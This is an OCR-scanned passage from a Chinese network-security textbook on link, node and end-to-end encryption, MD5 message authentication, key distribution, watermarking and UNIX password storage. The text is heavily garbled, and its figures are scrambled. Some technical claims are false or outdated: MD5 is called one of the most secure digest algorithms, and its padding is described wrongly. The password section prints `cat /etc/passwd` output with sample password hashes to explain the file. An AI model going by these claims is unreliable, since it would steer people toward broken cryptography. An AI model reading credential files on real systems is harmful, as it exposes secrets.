各 种 基于 字 节 同步 的 通信 协议 均 提 供 一 组 控制 字符 ,并 规定 了 报 文 的 格式 。 信 息 报 文 由 
SOH,STX,ETX 和 BCC 4 个 传输 控制 字符 构成 , 它 有 以 下 两 种 基本 格式 : 


SOH | 报头 STX | 正文 | 开工 六 BCC 


STX 正文 ETX BCC 


ee 控制 字符 SOH 表示 信息 报 文 的 报头 开始 ;STX 表示 报头 结束 和 正文 开始 ;ETX 表示 
结束 ;BCC 表示 检验 字符 。 对 字 节 同步 通信 信息 报 文 的 加 密 ,一般 只 加 密 报 头 、 报 文正 

ee 而 对 控制 字符 不 加 密 。 

3. 位 同步 通信 加 密 

基于 位 同步 的 通信 协议 有 ISO( 国 际 标准 化 组 织 ) 推 荐 的 HDLC(high level data link 
control) ,IBM 公司 的 SDLC 和 ADDCP。 除 了 所 用 术语 和 某 些 细节 外 ,SDLC 和 ADDCP 与 
HDLC 原理 相同 。HDLC 以 帧 作为 信息 传输 的 基本 单位 ,无 论 是 信息 报 文 还 是 监控 报 文 ， 
都 按 帧 的 格式 进行 传输 。 帧 的 格式 如 下 : 


其 中 ,F 为 标志 ,表示 每 帧 的 头 和 尾 ;A 为 站 地 址 ;C 为 控制 命令 和 响应 类 别 ;I 为 数据 ;FCS 
为 帧 校 验 序列 。HDLC 采用 循环 匈 余 校 验 。 对 位 同步 通信 的 加 密 , 除 标志 下 以 外 全 部 
加 密 。 

链 路 加 密 方式 有 两 个 缺点 : 一 是 全 部 报 文 都 以 明文 形式 通过 各 节点 的 计算 机 中 央 处 理 
装置 ,在 这 些 节点 上 数据 容易 受到 非法 存 取 的 危害 ;二 是 由 于 每 条 链 路 都 要 有 一 对 加 密 / 解 
密 设 备 和 一 个 独立 的 密 钥 ,维护 节点 的 安全 性 费用 较 高 ,因此 成 本 较 高 。 


2.8.2 节点 加 密 


节点 加 密 是 链 路 加 密 的 改进 ,其 目的 是 克服 链 路 加 密 在 节点 处 易 唱 非法 存 取 的 缺点 。 
在 协议 运输 层 上 进行 加 密 , 是 对 源 点 和 目标 节点 之 间 传 输 的 数据 进行 加 密 保 护 。 它 与 链 路 
ol 是 加 密 算法 要 组 合 在 依附 于 节点 的 加 密 模 件 中 ,其 加 密 原 理 如 图 2-12 所 示 。 
这 种 加 密 方式 除了 在 保护 装置 内 ,即使 在 节点 也 不 会 出 现 明文 。 这 种 加 密 方 式 可 提供 用 户 
节点 间 连 续 的 安全 服务 ,也 可 用 于 实现 对 等 实体 鉴别 。 节 点 加 密 时 ,数据 在 发 送 节点 和 接收 
点 是 以 明文 形式 出 现 的 ;而 在 中 间 节 点 ,加 密 后 的 数据 在 一 个 安全 模块 内 部 进行 密 钥 转 

换 , 即 将 上 一 节点 过 来 的 密 文 先 解密 ,再 用 另 一 个 密 钥 加 密 。 
节点 加 密 也 是 在 每 条 链 路 上 使 用 一 个 专用 密 钥 ,由 于 从 一 条 链 路 到 另 一 条 链 路 的 密 钥 
使 用 有 可 能 不 同 , 必 须 进 行 转换 。 从 一 个 密 钥 到 另 一 个 密 钥 的 变换 是 在 保密 模 件 中 进行 的 ， 
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数据 (明文 节点 交 扳 中 心 节点 ”收据 (明文) 
i es i 


了 | | 


模 件 | 解密 明文 加 密 oe 


密 钥 A 密 钥 B 
图 2-12 节点 加 密 


这 个 模 件 设 在 节点 中 央 处 理 装置 中 ,可 以 起 到 一 种 外 围 设 备 的 作用 。 所 以 明文 数据 不 通过 
节点 ,而 只 存在 于 保密 模 件 中 。 要 注意 的 是 : 对 于 相当 多 的 报 文 数据 ,在 进行 路 由 选择 时 ， 
信息 也 要 加 密 。 这 样 节点 中 央 处 理 装置 就 能 恰当 地 选 定 数据 的 传送 线路 。 


2.8.3 端 - 端 加 密 


网 络 层 以 上 的 加 密 ,通常 称 为 端 - 端 加 密 。 端 - 端 加 密 是 面向 网 络 高 层 主 体 进行 加 密 , 即 
在 协议 表示 层 上 对 传输 的 数据 进行 加 密 ,而 不 对 下 层 协议 信息 加 密 。 协 议 信息 以 明文 形式 
传输 ,用 户 数据 在 中 间 节 点 不 需要 加 密 。 

端 - 端 加 密 一 般 由 软件 来 完成 。 在 网 络 高 层 进行 加 密 , 不 需要 考虑 网 络 低层 的 线路 、 调 
制 解 调 器 、 接 口 与 传输 码 , 但 用 户 的 联机 自动 加 密 软件 必须 与 网 络 通信 协议 软件 完全 结合 ， 
而 各 厂家 的 通信 协议 软件 往往 又 各 不 相同 ,因此 目前 的 端 - 端 加 密 往往 是 采用 脱 机 调用 方 
式 。 端 - 端 加 密 也 可 以 用 硬件 来 实现 ,不 过 该 加 密 设备 要 么 能 识别 特殊 的 命令 字 , 要 么 能 识 
别 低 层 协 议 信息 ,而 且 仅 对 用 户 数 据 进 行 加 密 , 使 用 硬件 实现 往往 有 很 大 难度 。 在 大 型 网 络 
系统 中 ,交换 网 络 在 多 个 发 送 方 和 接收 方 之 间 传 输 的 时 候 , 用 端 - 端 加 密 是 比较 合适 的 。 端 - 
端 加 密 往往 以 软件 的 形式 实现 ,并 在 应 用 层 或 表示 层 上 完成 。 端 - 端 加 密 原理 如 图 2-13 所 
示 。 这 种 加 密 方式 ,数据 在 通过 各 节点 传输 时 一 直 对 数据 进行 保护 ,数据 只 是 在 终点 才 进 行 
解密 。 在 数据 传输 的 整个 过 程 中 ,以 一 个 不 确定 的 密 钥 和 算法 进行 加 密 。 在 中 间 节 点 和 有 
关 安 全 模块 内 永远 不 会 出 现 明文 。 端 - 端 加 密 或 节点 加 密 时 ,只 加 密 报 文 ,不 加 密 报头 。 


窗 钥 A | 一 一 一 密 钥 B 

加 密 交换 网 络 一 一 | 解密 

密 角 X | 密 钥 X 

发 方 | | 收 方 
we 密 钥 A 加 密 作 临 时 密 钥 用 的 
| 本 一生 | 一 随机 数 发 生 器 
1 

加 密 | | 数据 传输 加 密 
数据 宙 广 让 | 交换 网 | 这 明文 | 数据 

em > 


图 2-13 端 - 端 加 密 
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端 - 端 加 密 具 有 链 路 加 密 和 节点 加 密 所 不 具有 的 优点 : 

(1) 成 本 低 。 由 于 端 - 端 加 密 在 中 间 任 何 节点 上 都 不 解密 , 即 数据 在 到 达 目 的 地 之 前 始 
终 用 密 钥 加 密 保护 着 ,所 以 仅 要 求 发 送 节点 和 最 终 的 目标 节点 具有 加 密 / 解 密 设备 ,而 链 路 
加 密 则 要 求 处 理 加 密 信息 的 每 条 链 路 均 配 有 分 立 式 密 钥 装 置 。 

(2) 端 - 端 加 密 比 链 路 加 密 更 安全 。 

(3) 端 - 端 加 密 可 以 由 用 户 提 供 , 因 此 对 用 户 来 说 这 种 加 密 方 式 比较 灵活 。 采 用 端 - 端 加 
密 , 再 控制 中 心 的 加 密 设 备 可 对 文件 .通行 字 以 及 系统 的 常 驻 数据 起 到 保护 作用 。 然 而 ,由 
于 端 - 端 加 密 只 是 加 密 报 文 , 数 据 报 头 仍 需 保 持 明 文 形 式 , 所 以 数据 容易 被 报 务 分 析 者 所 
利用 。 

另外 , 端 - 端 加 密 所 需 的 密 钥 数量 远大 于 链 路 加 密 , 因 此 对 端 - 端 加 密 而 言 , 密 钥 管 理 是 
一 个 十 分 重要 的 课题 。 


2.9 报 文 鉴别 和 MDS 算法 


2.9.1 报 文 鉴别 


计算 机 网 络 安全 领域 中 ,防止 信息 被 窃听 采取 的 措施 是 对 发 送 的 信息 进行 加 密 ,而 防止 
信息 被 算 改 和 伪造 需要 使 用 报 文 鉴别 技术 。 鉴 别 是 验证 通信 对 象 是 原 定 的 发 送 者 而 不 是 冒 
名 顶替 者 的 技术 。 报 文 鉴别 就 是 一 种 过 程 , 它 使 得 通信 的 接收 方 能 够 鉴别 验证 所 收 到 的 报 
文 ( 包 括 发 送 者 、 报 文 内 容 ,发送 时 间 和 序列 等 ) 的 真 伪 。 

报 文 鉴别 可 以 通过 将 报 文 加 密 来 实现 。 但 在 特定 网 络 的 应 用 中 ,许多 报 文 并 不 需要 加 
密 , 但 是 要 求 发 送 的 报 文 应 该 是 完整 且 不 是 伪造 的 。 例 如 ,通知 网 络 上 所 有 的 用 户 有 关上 网 
的 注意 事项 。 对 于 不 需要 加 密 的 报 文 进行 加 密 和 解密 ,将 使 计算 机 增加 很 多 不 必要 的 开销 。 
因此 ,可 使 用 单独 的 相对 简单 的 报 文 鉴别 算法 来 达到 目的 。 

目前 ,大 多 使 用 报 文摘 要 MD (message digest) 算 法 来 进行 报 文 鉴别 。 其 主要 原理 如 
图 2-14 所 示 。 


RE pT NR 加 | 

Pe ' 接收 者 B ' 

' 发 送 者 A 摘要 密 广 ' ' Ex(H(m)) 于 H(m) 
报 Xm_| H(m) | Exk(H(m)) 1 | 

CI Rm a Hm) | 

| t | 1 ExHm) | 用 是 否 相等 ? | 1 

1 | 1 解密 1 

| | 报 文摘 要 算 ”用 密 钥 K 加 1 MD 算法 Hm’) 1 

! | 法 生成 摘要 密 报 文摘 要 ! | 报 文 m 一 | 

| 

全 二 和 二 二 二 本 报 文摘 要 算 

| 法 生成 摘要 | 


图 2-14 报 文 鉴别 原理 


(1) 发 送 方 将 待 发 送 的 可 变 长 报 文 m 经 过 MD 算法 运算 得 出 固定 长 度 的 报 文摘 要 
再 (my。 
(2) 对 HCm) 加 密生 成 密 文 Ek (H(m)) 附 加 在 报 文 m 之 后 。 
(3) 在 接收 端 收 到 报 文 m 和 报 文摘 要 密 文 Ek(H(m)) 后 ,将 报 文摘 要 密 文 Ek (H(m)) 
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解密 还 原 成 HCm) 。 

(4) 同时 在 接收 端 将 收 到 的 报 文 m 经 过 MD 算法 运算 得 出 的 报 文摘 要 与 H(m) 比 较 是 
否 相 同 , 若 不 相同 则 可 断定 收 到 的 报 文 不 是 发 送 端 产生 的 。 

报 文 摘要 的 优点 : 对 短 的 固定 长 报 文摘 要 HGCm) 进 行 加 密 比 对 整个 报 文 m 进行 加 密 效 
率 要 高 得 多 ,但 对 鉴别 报 文 m 来 说 ,其 效果 是 一 样 的 。 也 就 是 说 m 和 Ek (H(m)) 在 一 起 是 
不 可 算 改 和 伪造 的 ,是 可 鉴别 和 不 可 抵赖 的 。 

要 做 到 不 可 伪造 ,MD 算法 必须 满足 以 下 两 个 条 件 。 

(1) 任 给 一 个 报 文摘 要 值 x, 若 想 找 到 一 个 报 文 y 与 摘要 值 x 对 应 ,即使 得 H(y) 二 x 在 
计算 上 (不 可 计算 是 指 想 从 算法 得 到 结果 ,其 时 间 代 价 之 高 是 无 法 承受 的 ) 不 可 行 。 

(2) 任 给 一 个 报 文 x 与 对 应 的 摘要 值 H(x), 若 想 找 到 一 个 与 x 不 同 的 报 文 y, 使 得 
H(x) 二 Hly) 在 计算 上 不 可 行 。 

这 两 个 条 件 表 明 : 若 (m,H(m)) 是 发 送 方 产生 的 报 文 和 报 文摘 要 ,攻击 者 不 可 能 伪造 
另 一 个 报 文 m' ,使 得 HCm') 二 HC(m)。 同 时 发 送 方 可 以 对 H(m) 进 行 数字 签名 ,使 报 文成 
为 可 鉴别 的 和 不 可 抵赖 的 。 

报 文 摘要 一 般 采 用 散 列 函数 (Hash function) 实 现 ,目前 用 得 最 为 广泛 的 是 MD5 报 文 
摘要 算法 。 


2.9.2 MDS 算法 


MD5 是 目前 用 得 最 为 广泛 的 报 文摘 要 算法 , 它 属 于 一 种 被 称 为 " 报 文摘 要 算法 ”的 哈 希 
(Hash) 函 数 , MD5 系统 的 定义 是 : 算法 以 一 个 任意 长 消息 作为 输入 ,产生 一 个 128 位 的 
“指纹 ”或 “摘要 消息 ”。MD5 系统 主要 是 用 在 数字 签名 和 报 文 鉴别 中 。 

MD5 算法 是 对 需要 进行 摘要 处 理 的 报 文 信息 块 按 512 位 进行 处 理 的 。 首 先 将 需要 
进行 摘要 处 理 的 报 文 信息 块 进行 填充 ,使 信息 报 文 的 长 度 等 于 512 的 倍数 ,填充 的 方法 
是 首先 在 需要 进行 摘要 处 理 的 报 文 信息 块 后 填充 64 字 节 长 的 信息 长 度 , 然 后 再 用 首位 
为 1 ,后面 全 为 0 的 填充 信息 填充 ;其 后 对 信息 报 文 依次 处 理 , 每 次 处 理 512 位 ,每 次 进行 
4 a 16 步 总 共 64 步 的 信息 变换 处 理 , 每 次 输出 结果 为 128 位 ,然后 把 前 一 次 的 输出 作为 

一 次 信息 变换 的 输入 初始 值 (第 一 次 初始 值 算法 已 经 固定 ) ,这 样 最 后 输出 一 个 128 位 
ened 目前 MD5 被 认为 是 最 安全 的 报 文摘 要 算法 之 一 , 现 已 经 在 很 多 应 用 
中 被 当成 标准 使 用 。 

MD5 提供 了 一 种 单 向 的 哈 希 函数 ,是 一 种 校 验 和 报 文 鉴别 工具 。 它 将 一 个 任意 长 的 字 
串 作为 输入 ,产生 一 个 128 位 的 “ 报 文摘 要 ”, 附 在 信息 报 文 后 面 ,以 确保 鉴别 报 文 以 防臭 改 。 
MD5 被 认为 对 两 个 不 同 报 文 产生 同样 的 报 文摘 要 在 计算 上 是 不 可 行 的 ,并 且 一 个 已 给 定 的 
报 文摘 要 对 另 一 个 报 文 产生 同样 的 报 文摘 要 也 是 不 可 计算 的 。 

MD5 算法 是 对 付 特洛伊 木马 程序 (有 关 特 洛 伊 木马 的 知识 将 在 第 6 章 第 5 节 详 细 介 
绍 ) 非 常 有 效 的 工具 。 通 过 MD5 算法 计算 每 个 文件 的 数字 签名 可 检查 文件 是 否 被 更 换 , 或 
是 否 与 原来 的 一 致 。 

MD5 的 散 列 结果 为 128 位 ,如 果 采 用 穷 举 法 攻击 每 秒 尝试 10 亿 条 明文 的 计算 量 ,需要 
计算 约 10 年 。 
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2.10 密 钥 管理 与 分 配 


在 加 密 标准 DES 和 公开 密 钥 加 密 算法 中 ,由 于 加 密 算法 的 公开 ,网 络 安全 完全 基于 密 
钥 的 安全 保护 上 ,因此 密 钥 的 管理 非常 重要 。 

对 称 密 钥 加 密 方法 的 一 个 致命 弱点 就 是 它 的 密 钥 管理 十 分 困难 ,因此 它 很 难 在 现代 的 
电子 商务 实践 中 得 到 广泛 的 应 用 。 在 这 一 点 上 ,公开 密 钥 加 密 方法 占有 绝对 的 优势 。 不 过 ， 
无 论 实 施 哪 种 方案 , 密 钥 的 管理 都 是 要 考虑 的 问题 。 当 网 络 扩展 得 更 大 ,用 户 增加 更 多 时 万 
其 如 此 。 

密 钥 分 配 是 密 钥 管理 中 最 大 的 问题 。 密 钥 必 须 通过 最 安全 的 通路 进行 分 配 。 例 如 ,可 
以 派 非常 可 靠 的 信使 携带 密 钥 分 配给 相互 通信 的 各 用 户 ,这 种 方法 称 为 网 络 外 分 配方 式 。 
如 果 网 络 中 通信 的 用 户 很 多 且 密 钥 更 换 很 频繁 , 则 要 求 采 用 网 络 通信 进行 网 络 内 分 配 的 方 
式 , 即 对 密 钥 自动 分 配 。 

目前 , 密 钥 分 配 公认 的 有 效 方法 是 通过 密 钥 分 配 中 心 KDC 来 管理 和 分 配 公 开 密 钥 。 
每 个 用 户 只 保存 自己 的 秘密 密 钥 SK 和 KDC 的 公开 密 钥 PK。 用 户 可 以 通过 KDC 获得 任 
何其 他 用 户 的 公开 密 钥 或 者 某 一 次 通信 采用 的 对 称 密 钥 加 密 算 法 的 临时 密 钥 。 

假设 有 两 个 用 户 A 和 B 都 是 KDC 的 注册 用 户 , 他 们 拥有 与 KDC 通信 的 秘密 密 钥 
SKArkpe 和 SKsrpc, 现 在 A 想 与 B 通 过 对 称 密 钥 加 密 算 法 通信 ,要 求 KDC 分 配 这 次 通信 的 
临时 密 钥 , 则 KDC 分 配 密 钥 的 过 程 如 图 2-15 所 示 。 


GD SKAkpc(A,B) 


Er © PKAkpc(K,PKB kpc(A,K)) 


® PKp.kpc(A,K) 


KDC 


图 2-15 KDC 分 配 一 次 对 称 密 钥 过 程 


首先 ,A 向 KDC 发 送 用 自己 的 秘密 密 钥 SKAxpc 加 密 的 信息 报 文 SKAxpc(A,B) ,说 明 
想 和 用 户 B 通信。KDC 根据 某 个 算法 随机 产生 一 个 密 钥 KK 供 A 和 B 之 间 通 信使 用 ,然后 
返回 给 A 一 个 应 答 报 文 PKaxvc (K,PKsxkpc (A,K)), 此 报 文 用 A 的 公开 密 钥 PK 和 krc 加密， 
报 文中 有 K 和 请 A 转 给 B 的 报 文 PKsxkpc (A,K), 此 报 文 是 用 B 的 公开 密 钥 PKsxvc 加 密 
的 , 当 B 收 到 A 转 来 的 报 文 PKekpc (A,K) 后 ,就 知道 A 要 和 自己 通信 且 密 钥 为 K。 此 后 ， 
A 就 可 利用 密 钥 K 与 B 通信。 

此 外 KDC 可 使 用 其 秘密 密 钥 SKkpc 对 发 给 A 的 应 答 报 文 进行 数字 签名 ,以 防止 伪造 ， 
还 可 在 报 文 中 加 入 时 间 截 防止 重 放 攻击 。 由 于 密 钥 K 的 使 用 是 一 次 性 的 ,保密 非常 高 。 

在 公开 密 钥 体制 中 ,为 了 各 用 户 更 加 安全 通信 ,必须 有 一 个 机 构 把 用 户 的 公开 密 钥 与 用 
户 的 实体 (人 或 计算 机 ) 绑 定 联系 起 来 ,这 样 才 能 防止 用 自己 的 秘密 密 钥 签名 报 文 伪造 成 别 
的 用 户 ,这 个 机 构 被 称 为 认证 中 心 CA(certification authority) 。 例 如 ,用 户 A 想 欺 骗 用 户 
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B, 用 户 A 可 以 伪造 一 份 是 C 发 送 的 报 文 发 给 B,A 用 自己 的 秘密 密 钥 签名 ,并 附 上 A 自己 
的 公开 密 钥 , 谎 称 这 个 公开 密 钥 是 C 的 ,B 有 时 很 难 确定 这 个 公开 密 钥 是 否 是 C 的 。 这 就 
靠 值 得 信赖 的 机 构 CA 来 确定 。CA 可 由 政府 或 信誉 良好 的 组 织 出 资 建 立 , 每 个 实体 都 有 
CA 发 来 的 证 书 (certificate) ,里 面包 含有 公开 密 钥 及 其 拥有 者 的 标识 信息 (用 户 名 或 IP 地 
址 ), 此 证 书 由 CA 进行 数字 签名 。 任 何 用 户 都 可 以 从 可 信 的 地 方 获得 CA 的 公开 密 钥 , 此 
公开 密 钥 可 以 用 来 验证 某 个 用 户 的 公开 密 钥 是 否 为 该 实体 所 拥有 。 


2.11 加 密 高 新 技术 及 发 展 


1. 数字 水 印 

数字 水 印 (digital watermarking) 是 一 种 信息 隐藏 技术 ,将 一 些 标识 信息 ( 即 数字 水 印 ) 
直接 内 入 数字 载体 当中 (包括 多 媒体 .文档 .软件 等 ) 或 是 间接 表示 (修改 特定 区 域 的 结构 )， 
且 不 影响 原 载 体 的 使 用 价值 ,也 不 容易 被 探知 和 再 次 修改 。 

数字 水 印 技术 具有 下 面 3 个 方面 的 特点 : 

(1) 安全 性 : 数字 水 印 的 信息 难以 自 改 或 伪造 ,有 较 低 的 误 检 测 率 , 当 原 内 容 发 生变 化 
时 ,数字 水 印 也 发 生变 化 ,从 而 可 以 检测 原始 数据 的 变更 。 

(2) 隐蔽 性 : 数字 水 印 是 不 易 被 用 户 察 觉 的 ,而 且 不 影响 被 保护 数据 的 正常 使 用 ;不 会 
降 质 。 
(3) 鲁 棒 性 : 是 指 在 经 历 多 种 无 意 或 有 意 的 信号 处 理 过 程 后 ,数字 水 印 仍 能 保持 部 分 
完整 性 并 能 被 准确 鉴别 。 可 能 的 信号 处 理 过 程 包括 信道 噪声 \ 滤 波 、 数 / 模 与 模 / 数 转换 、 重 
采样 . 剪 切 、 位 移 ` 尺 度 变化 以 及 有 损 压 缩编 码 等 。 

目前 ,数字 水 印 的 基本 应 用 领域 是 版 权 保 护 、 隐 藏 标识 `. 认 证 和 安全 不 可 见 通 信 。 如 数 
字 作 品 ( 例 如 电脑 美术 . 扫 撒 图 像 .数字 音乐 .视频 .三维 动画 ) 的 版 权 保护 .商务 交易 中 的 票 
据 防伪 .证 件 真 伪 鉴 别 . 声 像 数据 的 隐藏 标识 和 自 改 提示 、 隐 蔽 通信 及 其 对 抗 等 。 

2. 加 密 软件 狗 

软件 狗 (software dog) 是 一 种 计算 机 软件 的 加 密 方 式 ,是 “硬件 加 密 锁 ”的 俗称 。 基 本 工作 
原理 是 : 当 用 户 启动 或 者 使 用 软件 时 ,软件 会 联络 软件 狗 ,并 且 读 取 其 中 的 数据 。 如 果 软 件 狗 
返回 正确 的 数据 ,软件 可 以 正常 使 用 ,否则 软件 将 会 停止 工作 ,并 且 向 用 户 显示 出 错 的 提示 。 
软件 读 取 加 密 狗 的 次 数 越 频繁 ,传输 的 数据 越 复杂 多 样 , 读 取 数 据 的 函数 越 多 ,破解 加 密 狗 的 
难度 就 会 越 大 ,保护 效果 也 就 越 好 ,已 经 有 了 四 代 产 品 ,而 第 五 代 产品 也 正在 逐渐 进入 市 场 。 

3. 智能 卡 

智能 卡 (smart card 或 IC card) ,又 称 智 慧 卡 、 聪 明 卡 、 集 成 电路 卡 及 IC 卡 , 是 指 粘 贴 或 
舱 有 集成 电路 芯片 的 一 种 便携 式 塑料 卡片 。 卡 片 包含 了 微 处 理 器 、1/O 接口 及 存储 器 ,提供 
了 数据 的 计算 ,访问 控制 及 存储 功能 。 目 前 卡片 的 大 小 、 接 点 定义 是 由 ISO 规范 统一 ,主要 
规范 在 ISO7810 中 。 常 见 的 有 电话 IC 卡 、 身 份 IC 卡 , 以 及 一 些 交 通票 证 和 存储 卡 。 

从 功能 上 来 说 ,智能 卡 的 用 途 可 归 为 如 下 3 点: 

(1) 身份 识别 。 

(2) 支付 工具 。 

(3) 加 密 / 解 密 。 
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2.12 密码 技术 的 应 用 实例 


2.12.1 口令 加 密 技术 的 应 用 


口令 加 密 技 术 

口令 是 一 种 鉴别 用 户 是 否 有 权 使 用 计算 机 及 软件 的 比较 脆弱 的 手段 。 但 是 ,由 于 它 实 
现 起 来 比较 简单 ,因此 得 到 了 广泛 的 应 用 。 

如 第 1 章 所 述 ,用 户 的 入 网 访问 控制 可 采用 用 户 名 和 口令 的 识别 与 验证 ,车 其 中 用 户 名 
或 口令 未 通过 ,该 用 户 便 不 能 进入 该 网 络 。 

此 外 ,运用 口令 方式 可 对 软件 进行 加 密 。 加 密 时 可 形成 口令 圈套 , 即 产 生 一 个 代码 模 
块 ,运行 起 来 像 计算 机 登录 屏幕 一 样 ,并 把 它 插入 登录 过 程 之 前 ,用 户 可 以 把 用 户 名 及 口令 
告知 这 块 程序 ,而 这 个 程序 将 会 把 用 户 名 及 口令 保存 起 来 。 因 此 , 它 是 鉴别 身份 的 一 种 
方式 。 

利用 口令 方式 进行 加 密 的 弱点 在 于 : 可 以 利用 密码 字典 或 其 他 工具 软件 来 进行 破译 。 
如 个 人 的 生日 、 名 字 或 一 些 有 代表 性 的 单词 或 短语 。 口 令 输入 后 要 正常 工作 必须 满足 一 定 
的 条 件 , 当 人 们 移植 一 种 算法 时 ,这 种 算法 可 能 在 人 们 的 工作 环境 下 存在 着 漏洞 (如 一 些 人 
侵 者 使 用 超 长 的 字符 串 破 坏 口 令 的 算法 ,而且 成 功 地 进入 了 系统 ) 。 

(1) 口令 

用 户 是 否 可 以 安全 地 进入 某 个 计算 机 系统 (或 软件 系统 ) ,可 以 通过 验证 用 户 输入 的 口 
令 来 实现 。 

口令 是 用 户 和 系统 之 间 相 互 认可 的 码 。 口 令 有 时 由 用 户 选 择 ,而 有 时 由 系统 统一 分 配 。 
口令 的 长 度 和 形式 也 随 系统 的 不 同 而 不 同 。 

口令 的 使 用 比较 直接 。 系 统 要 求 用 户 输入 口令 ,如 果 口 令 正确 ,那么 用 户 得 到 了 该 系统 
的 “承认 ”, 才 能 进行 后 面 的 工作 ;如 果 口 令 不 正确 ,那么 系统 认为 其 是 “非法 用 户 ”, 不 予 “ 承 
认 ”, 此 时 系统 要 求 用 户 重 新 输入 口令 加 以 验证 。 但 是 口令 本 身 是 不 安全 的 ,可 能 会 受到 
攻击 。 

(2) 口令 文件 的 加 密 

为 了 防止 口令 受到 意外 攻击 ,比较 安全 的 策略 是 把 口令 表 ( 保 存 口令 的 数据 文件 ) 加 密 。 
加 密 后 攻击 者 不 能 读 取 和 使 用 口令 。 两 种 常用 的 加 密 方法 是 采用 传统 密 钥 加 密 方 法 和 单 向 
函数 方法 。 

在 传统 的 加 密 方法 中 ,就 是 把 整个 口令 加 密 , 或 只 把 口令 这 一 列 加 密 。 当 接收 用 户 的 口 
令 时 ,把 存储 的 口令 解密 ,然后 比较 两 个 口令 。 

单 向 函数 加 密 法 是 一 种 比较 安全 的 策略 。 它 采用 一 个 加 密 函 数 , 使 加 密 变 得 相对 容易 ， 
使 解密 很 难 进行 。 例 如 : 单 向 函数 X 简单 易 算 , 而 它 的 反 函 数 则 不 容易 计算 。 口 令 表 中 的 
口令 以 加 密 的 形式 存储 , 当 用 户 输入 口令 时 ,口令 也 被 加 密 。 然 后 比较 加 密 后 的 口令 。 如 果 
两 者 相同 ,那么 证 实 该 用 户 为 合法 用 户 , 并 允许 使 用 其 权限 范围 内 的 任何 资源 。 大 部 分 安全 
加 密 算法 要 求 ; 不 允许 两 个 不 同 的 口令 加 密 成 相同 的 密 文 。 单 向 函数 加 密 过 程 如 表 2-11 
所 示 。 


Es 


表 2-11 口令 文件 的 单 向 加 密 


注册 名 口令 字 明 文 注册 名 口令 字 密 文 
李 晓 春 Hamatailo 李 晓 春 # @326rtuw 
马 洪 Kandohana 马 洪 Ohdghdshd 

冯 净 Feengjing 汉 兆 十 一 uytuyft 

刘 嘉 Liujia 刘 嘉 I@## $fgx 
苏 敏 Sumin 苏 敏 Dfdgsfg#$#$ 
曲 峰 Quzheng 曲 峰 井 井 $$ $vexbfs 


(3) 口令 的 选择 

为 了 防止 口令 被 破译 ,口令 应 该 是 很 难 进 行 猜测 ,而 且 很 难 用 穷 举 法 确定 。 有 关口 令 的 
具体 选择 问题 将 会 在 后 面 几 章 详细 介绍 。 

2. 实例 一 一 UNIX 系统 是 如 何 保存 和 处 理 口 令 的 

(1) /etc/passwd 文件 

UNIX 系统 使 用 文件 /etc/passwd 来 追踪 系统 中 的 每 一 个 用 户 ,/etc/passwd 文件 保存 
了 每 一 个 用 户 的 用 户 名 、 真 实 姓名 ,识别 信息 和 基本 的 账户 信息 (注意 : 有 的 UNIX 系统 , 口 
令 被 Shadow 了 的 话 , 则 /etc/passwd 文件 中 无 用 户口 令 信息 , 口 令 信 息 保存 在 /etc/shadow 
中 )。 在 这 个 文件 中 ,每 一 行 都 是 一 个 记录 ,记录 的 域 之 间 用 “:” 隔 开 。 可 以 使 用 cat 命令 来 
显示 系统 中 的 /etc/passwd 文件 内 容 , 下 面 是 一 个 例子 : 

$ cat /etc/passwd 

root: fi3sED95ibqR6: 0: 0: System Operator: /: /bin/ksh 

daemon: * : 1: 1::/tmp 

uucp: OORoMN9FYZfNE: 4: 4::/var/spool/uucppubic:/usr/lib/uucp/uucico 

rlch: eH5/.mj7NB3dx: 181: 102: ronglichen: /u/rlch: /bin/ksh 

xlin: f8fk3jloIf34.: 182: 102: xniling: /u/xlin/bin/k 


在 这 个 文件 中 ,前 3 个 是 系统 账户 ,后 两 个 是 普通 用 户 。 表 2-12 中 是 一 条 记录 中 每 一 
个 域 的 含义 。 
表 2-12 /etc/passwd 文件 中 各 个 域 的 含义 
域 久 域 含 尺 


Rlch Ronglichen 用 户 的 全 名 
EH5/. mj7NB3dx 目 户 被 加 密 的 口令 /u/rlch 用 户 的 主 目 录 


181 有 目 户 IDCUID) /bin/ksh 用 户 的 外 过 程序 


102 目 户 的 组 IDCGID) 


(2) 口令 时 效 
/etc/passwd 文件 的 格式 使 系统 管理 员 能 要 求 用 户 定期 地 改变 他 们 的 口令 。 在 口令 文 
件 中 可 以 看 到 ,有 些 加 密 后 的 口令 有 逗号 ,逗号 后 有 几 个 字符 和 一 个 冒号 ,如 : 
。 72 。 


steve: xyDfccTrt180x,m.y8: 0: 0: admin: /: /bin/sh 
restrict: pomJk109Jky41, .1: 0: 0: admin: /: /bin/sh 
pat: xmotTVoyumjls: 0: 0: admin: /: bin/sh 


可 以 看 到 ,steve 的 口令 逗号 后 有 4 个 字符 ,restrict 有 两 个 ,pat 没有 逗号 。 逗 号 后 第 一 
个 字符 是 口令 有 效 期 的 最 大 周 数 ; 第 二 个 字符 决定 了 用 户 再 次 修改 口令 之 前 , 原 口 令 应 使 用 
的 最 小 周 数 ( 这 就 防止 了 用 户 改 了 新 口令 后 立刻 又 改 回 老 口 令 ); 其 余 字符 表明 口令 最 新 修 
改 时 间 。 

要 能 读 懂 口令 中 逗号 后 面 的 信息 ,必须 首先 知道 如 何 用 passw_esc 计数 。 计 数 的 方法 
是 : .2 一 0)412 王 17402992 二 2 一 11“A…“7" 一 12 一 37，a 一 “2 一 38 一 63。 

系统 管理 员 必须 将 前 两 个 字符 放 进 /etc/passwd 文件 ,以 要 求 用 户 定 期 地 修改 口令 ， 
外 两 个 字符 当 用 户 修 改口 令 时 ,由 passwd 命令 填 信 。 

注意 : 若 想 让 用 户 修改 口令 ,可 在 最 后 一 次 口令 被 修改 时 , 放 两 个 “.”, 则 下 一 次 用 户 登 
录 时 ,将 被 要 求 修改 自己 的 口令 。 有 两 种 特殊 情况 : 

。 最 大 周 数 (第 一 个 字符 ) 小 于 最 小 周 数 ( 第 二 个 字符 ), 则 不 允许 用 户 修改 口令 , 仪 超 

级 用 户 可 以 修改 用 户 的 口令 。 
。 第 一 个 字符 和 第 二 个 字符 都 是 “.”, 这 时 用 户 下 次 登录 时 被 要 求 修改 口令 。 修 改口 
令 后 ,passwd 命令 将 “. ”删除 ,此 后 不 再 要 求 用 户 修 改口 令 。 

(3) UNIX 口令 加 密 

当 UNIX 系统 提示 用 户 输入 口令 时 ,系统 将 输入 的 口令 以 加 密 的 形式 存放 在 /etc/ 
passwd 或 /etc/shadow 文件 中 。 在 正常 的 情况 下 ,这 些 口令 和 其 他 信息 由 系统 保护 ,能 够 
